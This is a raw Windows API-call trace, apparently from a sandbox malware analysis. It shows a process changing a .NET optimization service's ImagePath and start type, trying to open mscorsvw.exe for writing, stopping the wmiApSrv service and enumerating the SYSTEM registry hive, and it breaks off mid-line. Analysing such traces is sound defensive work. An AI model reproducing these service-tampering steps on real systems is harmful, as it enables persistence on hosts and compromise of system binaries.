[0249.253] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0249.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0249.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0249.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.253] LocalFree (hMem=0x7f03d0) returned 0x0 [0249.253] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 [0249.253] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x2) returned 0x8038a0 [0249.253] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.270] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0249.270] RegCloseKey (hKey=0x154) returned 0x0 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.270] RegCloseKey (hKey=0x148) returned 0x0 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.270] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0249.270] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.271] GetLastError () returned 0x20 [0249.271] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0249.271] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0249.271] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0249.271] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0249.272] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0249.272] GetLastError () returned 0x425 [0249.272] CloseServiceHandle (hSCObject=0x803990) returned 1 [0249.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0249.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0249.273] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.273] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.273] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.273] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.273] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.274] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.274] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.274] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.274] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.274] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.275] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.275] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.275] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.277] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.277] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.277] RegCloseKey (hKey=0x154) returned 0x0 [0249.277] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.277] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, 